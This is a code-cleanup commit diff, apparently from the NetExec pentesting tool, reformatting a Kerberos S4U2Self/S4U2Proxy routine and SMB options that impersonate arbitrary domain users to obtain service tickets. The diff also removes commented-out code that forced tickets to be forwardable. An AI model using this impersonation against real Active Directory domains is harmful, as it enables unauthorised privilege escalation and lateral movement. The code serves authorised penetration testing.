cleanup
parent
dd55907929
commit
8ea441595c
|
@ -408,7 +408,7 @@ class smb(connection):
|
||||||
if self.args.delegate:
|
if self.args.delegate:
|
||||||
kerb_pass = ""
|
kerb_pass = ""
|
||||||
self.username = self.args.delegate
|
self.username = self.args.delegate
|
||||||
serverName = Principal('cifs/'+self.hostname, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||||
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
|
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
|
||||||
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
|
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
|
||||||
|
|
||||||
|
@ -436,7 +436,7 @@ class smb(connection):
|
||||||
if self.args.continue_on_success and self.signing:
|
if self.args.continue_on_success and self.signing:
|
||||||
try:
|
try:
|
||||||
self.conn.logoff()
|
self.conn.logoff()
|
||||||
except:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
self.create_conn_obj()
|
self.create_conn_obj()
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,6 @@ import datetime
|
||||||
import logging
|
import logging
|
||||||
import struct
|
import struct
|
||||||
import random
|
import random
|
||||||
from impacket.winregistry import hexdump
|
|
||||||
from six import b
|
from six import b
|
||||||
|
|
||||||
from pyasn1.codec.der import decoder, encoder
|
from pyasn1.codec.der import decoder, encoder
|
||||||
|
@ -17,17 +16,18 @@ from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
|
||||||
from impacket.krb5 import constants
|
from impacket.krb5 import constants
|
||||||
|
|
||||||
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache, no_s4u2proxy = False):
|
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache, no_s4u2proxy = False):
|
||||||
|
logger = logging.getLogger("nxc")
|
||||||
TGT = None
|
TGT = None
|
||||||
if useCache:
|
if useCache:
|
||||||
domain, user, tgt, _ = CCache.parseFile(domain, user, 'cifs/%s' % hostname)
|
domain, user, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}")
|
||||||
if TGT is None:
|
if TGT is None:
|
||||||
raise
|
raise
|
||||||
TGT = tgt['KDC_REP']
|
TGT = tgt["KDC_REP"]
|
||||||
cipher = tgt['cipher']
|
cipher = tgt["cipher"]
|
||||||
sessionKey = tgt['sessionKey']
|
sessionKey = tgt["sessionKey"]
|
||||||
if TGT is None:
|
if TGT is None:
|
||||||
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||||
logging.info('Getting TGT for user')
|
logger.debug("Getting TGT for user")
|
||||||
tgt, cipher, _, sessionKey = getKerberosTGT(userName, password, domain,
|
tgt, cipher, _, sessionKey = getKerberosTGT(userName, password, domain,
|
||||||
lmhash, nthash,
|
lmhash, nthash,
|
||||||
aesKey,
|
aesKey,
|
||||||
|
@ -36,33 +36,28 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||||
decodedTGT=TGT
|
decodedTGT=TGT
|
||||||
# Extract the ticket from the TGT
|
# Extract the ticket from the TGT
|
||||||
ticket = Ticket()
|
ticket = Ticket()
|
||||||
ticket.from_asn1(decodedTGT['ticket'])
|
ticket.from_asn1(decodedTGT["ticket"])
|
||||||
|
|
||||||
apReq = AP_REQ()
|
apReq = AP_REQ()
|
||||||
apReq['pvno'] = 5
|
apReq["pvno"] = 5
|
||||||
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||||
|
|
||||||
opts = list()
|
opts = list()
|
||||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||||
seq_set(apReq, 'ticket', ticket.to_asn1)
|
seq_set(apReq, "ticket", ticket.to_asn1)
|
||||||
|
|
||||||
authenticator = Authenticator()
|
authenticator = Authenticator()
|
||||||
authenticator['authenticator-vno'] = 5
|
authenticator["authenticator-vno"] = 5
|
||||||
authenticator['crealm'] = str(decodedTGT['crealm'])
|
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||||
|
|
||||||
clientName = Principal()
|
clientName = Principal()
|
||||||
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
|
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||||
|
|
||||||
seq_set(authenticator, 'cname', clientName.components_to_asn1)
|
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||||
|
|
||||||
now = datetime.datetime.utcnow()
|
now = datetime.datetime.utcnow()
|
||||||
authenticator['cusec'] = now.microsecond
|
authenticator["cusec"] = now.microsecond
|
||||||
authenticator['ctime'] = KerberosTime.to_asn1(now)
|
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||||
|
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
|
||||||
logging.debug('AUTHENTICATOR')
|
|
||||||
print(authenticator.prettyPrint())
|
|
||||||
print('\n')
|
|
||||||
|
|
||||||
encodedAuthenticator = encoder.encode(authenticator)
|
encodedAuthenticator = encoder.encode(authenticator)
|
||||||
|
|
||||||
|
@ -72,33 +67,29 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||||
# key (Section 5.5.1)
|
# key (Section 5.5.1)
|
||||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||||
|
|
||||||
apReq['authenticator'] = noValue
|
apReq["authenticator"] = noValue
|
||||||
apReq['authenticator']['etype'] = cipher.enctype
|
apReq["authenticator"]["etype"] = cipher.enctype
|
||||||
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
|
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||||
|
|
||||||
encodedApReq = encoder.encode(apReq)
|
encodedApReq = encoder.encode(apReq)
|
||||||
|
|
||||||
tgsReq = TGS_REQ()
|
tgsReq = TGS_REQ()
|
||||||
|
|
||||||
tgsReq['pvno'] = 5
|
tgsReq["pvno"] = 5
|
||||||
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||||
|
|
||||||
tgsReq['padata'] = noValue
|
tgsReq["padata"] = noValue
|
||||||
tgsReq['padata'][0] = noValue
|
tgsReq["padata"][0] = noValue
|
||||||
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||||
tgsReq['padata'][0]['padata-value'] = encodedApReq
|
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||||
|
|
||||||
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
|
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
|
||||||
# requests a service ticket to itself on behalf of a user. The user is
|
# requests a service ticket to itself on behalf of a user. The user is
|
||||||
# identified to the KDC by the user's name and realm.
|
# identified to the KDC by the user"s name and realm.
|
||||||
clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||||
|
|
||||||
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
|
S4UByteArray = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||||
S4UByteArray += b(impersonate) + b(domain) + b'Kerberos'
|
S4UByteArray += b(impersonate) + b(domain) + b"Kerberos"
|
||||||
|
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
|
||||||
logging.debug('S4UByteArray')
|
|
||||||
hexdump(S4UByteArray)
|
|
||||||
|
|
||||||
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
|
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
|
||||||
# with the following three parameters: the session key of the TGT of
|
# with the following three parameters: the session key of the TGT of
|
||||||
|
@ -106,54 +97,42 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||||
# of 17, and the byte array S4UByteArray.
|
# of 17, and the byte array S4UByteArray.
|
||||||
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
|
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
|
||||||
|
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
|
||||||
logging.debug('CheckSum')
|
|
||||||
hexdump(checkSum)
|
|
||||||
|
|
||||||
paForUserEnc = PA_FOR_USER_ENC()
|
paForUserEnc = PA_FOR_USER_ENC()
|
||||||
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
|
seq_set(paForUserEnc, "userName", clientName.components_to_asn1)
|
||||||
paForUserEnc['userRealm'] = domain
|
paForUserEnc["userRealm"] = domain
|
||||||
paForUserEnc['cksum'] = noValue
|
paForUserEnc["cksum"] = noValue
|
||||||
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
|
paForUserEnc["cksum"]["cksumtype"] = int(constants.ChecksumTypes.hmac_md5.value)
|
||||||
paForUserEnc['cksum']['checksum'] = checkSum
|
paForUserEnc["cksum"]["checksum"] = checkSum
|
||||||
paForUserEnc['auth-package'] = 'Kerberos'
|
paForUserEnc["auth-package"] = "Kerberos"
|
||||||
|
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
|
||||||
logging.debug('PA_FOR_USER_ENC')
|
|
||||||
print(paForUserEnc.prettyPrint())
|
|
||||||
|
|
||||||
encodedPaForUserEnc = encoder.encode(paForUserEnc)
|
encodedPaForUserEnc = encoder.encode(paForUserEnc)
|
||||||
|
|
||||||
tgsReq['padata'][1] = noValue
|
tgsReq["padata"][1] = noValue
|
||||||
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
|
tgsReq["padata"][1]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
|
||||||
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
|
tgsReq["padata"][1]["padata-value"] = encodedPaForUserEnc
|
||||||
|
|
||||||
reqBody = seq_set(tgsReq, 'req-body')
|
reqBody = seq_set(tgsReq, "req-body")
|
||||||
|
|
||||||
opts = list()
|
opts = list()
|
||||||
opts.append(constants.KDCOptions.forwardable.value)
|
opts.append(constants.KDCOptions.forwardable.value)
|
||||||
opts.append(constants.KDCOptions.renewable.value)
|
opts.append(constants.KDCOptions.renewable.value)
|
||||||
opts.append(constants.KDCOptions.canonicalize.value)
|
opts.append(constants.KDCOptions.canonicalize.value)
|
||||||
|
|
||||||
reqBody['kdc-options'] = constants.encodeFlags(opts)
|
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||||
|
|
||||||
serverName = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
serverName = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||||
|
|
||||||
seq_set(reqBody, 'sname', serverName.components_to_asn1)
|
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||||
reqBody['realm'] = str(decodedTGT['crealm'])
|
reqBody["realm"] = str(decodedTGT["crealm"])
|
||||||
|
|
||||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||||
|
|
||||||
reqBody['till'] = KerberosTime.to_asn1(now)
|
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||||
reqBody['nonce'] = random.getrandbits(31)
|
reqBody["nonce"] = random.getrandbits(31)
|
||||||
seq_set_iter(reqBody, 'etype',
|
seq_set_iter(reqBody, "etype",
|
||||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||||
|
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
logger.info("Requesting S4U2self")
|
||||||
logging.debug('Final TGS')
|
|
||||||
print(tgsReq.prettyPrint())
|
|
||||||
|
|
||||||
logging.info('\tRequesting S4U2self')
|
|
||||||
message = encoder.encode(tgsReq)
|
message = encoder.encode(tgsReq)
|
||||||
|
|
||||||
r = sendReceive(message, domain, kdcHost)
|
r = sendReceive(message, domain, kdcHost)
|
||||||
|
@ -161,7 +140,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||||
|
|
||||||
if no_s4u2proxy:
|
if no_s4u2proxy:
|
||||||
cipherText = tgs['enc-part']['cipher']
|
cipherText = tgs["enc-part"]["cipher"]
|
||||||
|
|
||||||
# Key Usage 8
|
# Key Usage 8
|
||||||
# TGS-REP encrypted part (includes application session
|
# TGS-REP encrypted part (includes application session
|
||||||
|
@ -170,127 +149,49 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||||
|
|
||||||
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
|
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
|
||||||
|
|
||||||
newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'].asOctets())
|
newSessionKey = Key(encTGSRepPart["key"]["keytype"], encTGSRepPart["key"]["keyvalue"].asOctets())
|
||||||
|
|
||||||
# Creating new cipher based on received keytype
|
# Creating new cipher based on received keytype
|
||||||
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
|
cipher = _enctype_table[encTGSRepPart["key"]["keytype"]]
|
||||||
|
|
||||||
#return r, cipher, sessionKey, newSessionKey
|
#return r, cipher, sessionKey, newSessionKey
|
||||||
tgs_formated = dict()
|
tgs_formated = dict()
|
||||||
tgs_formated['KDC_REP'] = r
|
tgs_formated["KDC_REP"] = r
|
||||||
tgs_formated['cipher'] = cipher
|
tgs_formated["cipher"] = cipher
|
||||||
tgs_formated['sessionKey'] = newSessionKey
|
tgs_formated["sessionKey"] = newSessionKey
|
||||||
return tgs_formated
|
return tgs_formated
|
||||||
|
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
|
||||||
logging.debug('TGS_REP')
|
|
||||||
print(tgs.prettyPrint())
|
|
||||||
|
|
||||||
# if self.__force_forwardable:
|
|
||||||
# Convert hashes to binary form, just in case we're receiving strings
|
|
||||||
# if isinstance(nthash, str):
|
|
||||||
# try:
|
|
||||||
# nthash = unhexlify(nthash)
|
|
||||||
# except TypeError:
|
|
||||||
# pass
|
|
||||||
# if isinstance(aesKey, str):
|
|
||||||
# try:
|
|
||||||
# aesKey = unhexlify(aesKey)
|
|
||||||
# except TypeError:
|
|
||||||
# pass
|
|
||||||
|
|
||||||
# # Compute NTHash and AESKey if they're not provided in arguments
|
|
||||||
# if password != '' and domain != '' and username != '':
|
|
||||||
# if not nthash:
|
|
||||||
# nthash = compute_nthash(password)
|
|
||||||
# if logging.getLogger().level == logging.DEBUG:
|
|
||||||
# logging.debug('NTHash')
|
|
||||||
# print(hexlify(nthash).decode())
|
|
||||||
# if not aesKey:
|
|
||||||
# salt = domain.upper() + username
|
|
||||||
# aesKey = _AES256CTS.string_to_key(password, salt, params=None).contents
|
|
||||||
# if logging.getLogger().level == logging.DEBUG:
|
|
||||||
# logging.debug('AESKey')
|
|
||||||
# print(hexlify(aesKey).decode())
|
|
||||||
|
|
||||||
# # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
|
|
||||||
# cipherText = tgs['ticket']['enc-part']['cipher']
|
|
||||||
|
|
||||||
# # Check which cipher was used to encrypt the ticket. It's not always the same
|
|
||||||
# # This determines which of our keys we should use for decryption/re-encryption
|
|
||||||
# newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
|
|
||||||
# if newCipher.enctype == Enctype.RC4:
|
|
||||||
# key = Key(newCipher.enctype, nthash)
|
|
||||||
# else:
|
|
||||||
# key = Key(newCipher.enctype, aesKey)
|
|
||||||
|
|
||||||
# # Decrypt and decode the ticket
|
|
||||||
# # Key Usage 2
|
|
||||||
# # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
|
||||||
# # application session key), encrypted with the service key
|
|
||||||
# # (section 5.4.2)
|
|
||||||
# plainText = newCipher.decrypt(key, 2, cipherText)
|
|
||||||
# encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
|
|
||||||
|
|
||||||
# # Print the flags in the ticket before modification
|
|
||||||
# logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
|
|
||||||
# logging.debug('\tService ticket from S4U2self is'
|
|
||||||
# + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
|
|
||||||
# + ' forwardable')
|
|
||||||
|
|
||||||
# # Customize flags the forwardable flag is the only one that really matters
|
|
||||||
# logging.info('\tForcing the service ticket to be forwardable')
|
|
||||||
# # convert to string of bits
|
|
||||||
# flagBits = encTicketPart['flags'].asBinary()
|
|
||||||
# # Set the forwardable flag. Awkward binary string insertion
|
|
||||||
# flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
|
|
||||||
# # Overwrite the value with the new bits
|
|
||||||
# encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
|
|
||||||
|
|
||||||
# logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
|
|
||||||
# logging.debug('\tService ticket now is'
|
|
||||||
# + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
|
|
||||||
# + ' forwardable')
|
|
||||||
|
|
||||||
# # Re-encode and re-encrypt the ticket
|
|
||||||
# # Again, Key Usage 2
|
|
||||||
# encodedEncTicketPart = encoder.encode(encTicketPart)
|
|
||||||
# cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
|
|
||||||
|
|
||||||
# # put it back in the TGS
|
|
||||||
# tgs['ticket']['enc-part']['cipher'] = cipherText
|
|
||||||
|
|
||||||
################################################################################
|
################################################################################
|
||||||
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
|
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
|
||||||
# So here I have a ST for me.. I now want a ST for another service
|
# So here I have a ST for me.. I now want a ST for another service
|
||||||
# Extract the ticket from the TGT
|
# Extract the ticket from the TGT
|
||||||
ticketTGT = Ticket()
|
ticketTGT = Ticket()
|
||||||
ticketTGT.from_asn1(decodedTGT['ticket'])
|
ticketTGT.from_asn1(decodedTGT["ticket"])
|
||||||
|
|
||||||
# Get the service ticket
|
# Get the service ticket
|
||||||
ticket = Ticket()
|
ticket = Ticket()
|
||||||
ticket.from_asn1(tgs['ticket'])
|
ticket.from_asn1(tgs["ticket"])
|
||||||
|
|
||||||
apReq = AP_REQ()
|
apReq = AP_REQ()
|
||||||
apReq['pvno'] = 5
|
apReq["pvno"] = 5
|
||||||
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||||
|
|
||||||
opts = list()
|
opts = list()
|
||||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||||
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
|
seq_set(apReq, "ticket", ticketTGT.to_asn1)
|
||||||
|
|
||||||
authenticator = Authenticator()
|
authenticator = Authenticator()
|
||||||
authenticator['authenticator-vno'] = 5
|
authenticator["authenticator-vno"] = 5
|
||||||
authenticator['crealm'] = str(decodedTGT['crealm'])
|
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||||
|
|
||||||
clientName = Principal()
|
clientName = Principal()
|
||||||
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
|
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||||
|
|
||||||
seq_set(authenticator, 'cname', clientName.components_to_asn1)
|
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||||
|
|
||||||
now = datetime.datetime.utcnow()
|
now = datetime.datetime.utcnow()
|
||||||
authenticator['cusec'] = now.microsecond
|
authenticator["cusec"] = now.microsecond
|
||||||
authenticator['ctime'] = KerberosTime.to_asn1(now)
|
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||||
|
|
||||||
encodedAuthenticator = encoder.encode(authenticator)
|
encodedAuthenticator = encoder.encode(authenticator)
|
||||||
|
|
||||||
|
@ -300,51 +201,51 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||||
# key (Section 5.5.1)
|
# key (Section 5.5.1)
|
||||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||||
|
|
||||||
apReq['authenticator'] = noValue
|
apReq["authenticator"] = noValue
|
||||||
apReq['authenticator']['etype'] = cipher.enctype
|
apReq["authenticator"]["etype"] = cipher.enctype
|
||||||
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
|
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||||
|
|
||||||
encodedApReq = encoder.encode(apReq)
|
encodedApReq = encoder.encode(apReq)
|
||||||
|
|
||||||
tgsReq = TGS_REQ()
|
tgsReq = TGS_REQ()
|
||||||
|
|
||||||
tgsReq['pvno'] = 5
|
tgsReq["pvno"] = 5
|
||||||
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||||
tgsReq['padata'] = noValue
|
tgsReq["padata"] = noValue
|
||||||
tgsReq['padata'][0] = noValue
|
tgsReq["padata"][0] = noValue
|
||||||
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||||
tgsReq['padata'][0]['padata-value'] = encodedApReq
|
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||||
|
|
||||||
# Add resource-based constrained delegation support
|
# Add resource-based constrained delegation support
|
||||||
paPacOptions = PA_PAC_OPTIONS()
|
paPacOptions = PA_PAC_OPTIONS()
|
||||||
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
|
paPacOptions["flags"] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
|
||||||
|
|
||||||
tgsReq['padata'][1] = noValue
|
tgsReq["padata"][1] = noValue
|
||||||
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
|
tgsReq["padata"][1]["padata-type"] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
|
||||||
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
|
tgsReq["padata"][1]["padata-value"] = encoder.encode(paPacOptions)
|
||||||
|
|
||||||
reqBody = seq_set(tgsReq, 'req-body')
|
reqBody = seq_set(tgsReq, "req-body")
|
||||||
|
|
||||||
opts = list()
|
opts = list()
|
||||||
# This specified we're doing S4U
|
# This specified we"re doing S4U
|
||||||
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
|
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
|
||||||
opts.append(constants.KDCOptions.canonicalize.value)
|
opts.append(constants.KDCOptions.canonicalize.value)
|
||||||
opts.append(constants.KDCOptions.forwardable.value)
|
opts.append(constants.KDCOptions.forwardable.value)
|
||||||
opts.append(constants.KDCOptions.renewable.value)
|
opts.append(constants.KDCOptions.renewable.value)
|
||||||
|
|
||||||
reqBody['kdc-options'] = constants.encodeFlags(opts)
|
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||||
service2 = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
service2 = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||||
seq_set(reqBody, 'sname', service2.components_to_asn1)
|
seq_set(reqBody, "sname", service2.components_to_asn1)
|
||||||
reqBody['realm'] = domain
|
reqBody["realm"] = domain
|
||||||
|
|
||||||
myTicket = ticket.to_asn1(TicketAsn1())
|
myTicket = ticket.to_asn1(TicketAsn1())
|
||||||
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
|
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||||
|
|
||||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||||
|
|
||||||
reqBody['till'] = KerberosTime.to_asn1(now)
|
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||||
reqBody['nonce'] = random.getrandbits(31)
|
reqBody["nonce"] = random.getrandbits(31)
|
||||||
seq_set_iter(reqBody, 'etype',
|
seq_set_iter(reqBody, "etype",
|
||||||
(
|
(
|
||||||
int(constants.EncryptionTypes.rc4_hmac.value),
|
int(constants.EncryptionTypes.rc4_hmac.value),
|
||||||
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
|
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
|
||||||
|
@ -354,12 +255,12 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||||
)
|
)
|
||||||
message = encoder.encode(tgsReq)
|
message = encoder.encode(tgsReq)
|
||||||
|
|
||||||
logging.info('\tRequesting S4U2Proxy')
|
logger.info("Requesting S4U2Proxy")
|
||||||
r = sendReceive(message, domain, kdcHost)
|
r = sendReceive(message, domain, kdcHost)
|
||||||
|
|
||||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||||
|
|
||||||
cipherText = tgs['enc-part']['cipher']
|
cipherText = tgs["enc-part"]["cipher"]
|
||||||
|
|
||||||
# Key Usage 8
|
# Key Usage 8
|
||||||
# TGS-REP encrypted part (includes application session
|
# TGS-REP encrypted part (includes application session
|
||||||
|
@ -368,14 +269,14 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||||
|
|
||||||
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
|
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
|
||||||
|
|
||||||
newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'].asOctets())
|
newSessionKey = Key(encTGSRepPart["key"]["keytype"], encTGSRepPart["key"]["keyvalue"].asOctets())
|
||||||
|
|
||||||
# Creating new cipher based on received keytype
|
# Creating new cipher based on received keytype
|
||||||
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
|
cipher = _enctype_table[encTGSRepPart["key"]["keytype"]]
|
||||||
|
|
||||||
#return r, cipher, sessionKey, newSessionKey
|
#return r, cipher, sessionKey, newSessionKey
|
||||||
tgs_formated = dict()
|
tgs_formated = dict()
|
||||||
tgs_formated['KDC_REP'] = r
|
tgs_formated["KDC_REP"] = r
|
||||||
tgs_formated['cipher'] = cipher
|
tgs_formated["cipher"] = cipher
|
||||||
tgs_formated['sessionKey'] = newSessionKey
|
tgs_formated["sessionKey"] = newSessionKey
|
||||||
return tgs_formated
|
return tgs_formated
|
|
@ -1,9 +1,12 @@
|
||||||
|
from argparse import _StoreTrueAction
|
||||||
|
|
||||||
|
|
||||||
def proto_args(parser, std_parser, module_parser):
|
def proto_args(parser, std_parser, module_parser):
|
||||||
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
|
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
|
||||||
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[],
|
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[],
|
||||||
help="NTLM hash(es) or file(s) containing NTLM hashes")
|
help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||||
smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
|
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
|
||||||
smb_parser.add_argument("--self", dest='no_s4u2proxy', action="store_true", help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
|
self_delegate_arg = smb_parser.add_argument("--self", dest='no_s4u2proxy', action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
|
||||||
dgroup = smb_parser.add_mutually_exclusive_group()
|
dgroup = smb_parser.add_mutually_exclusive_group()
|
||||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
||||||
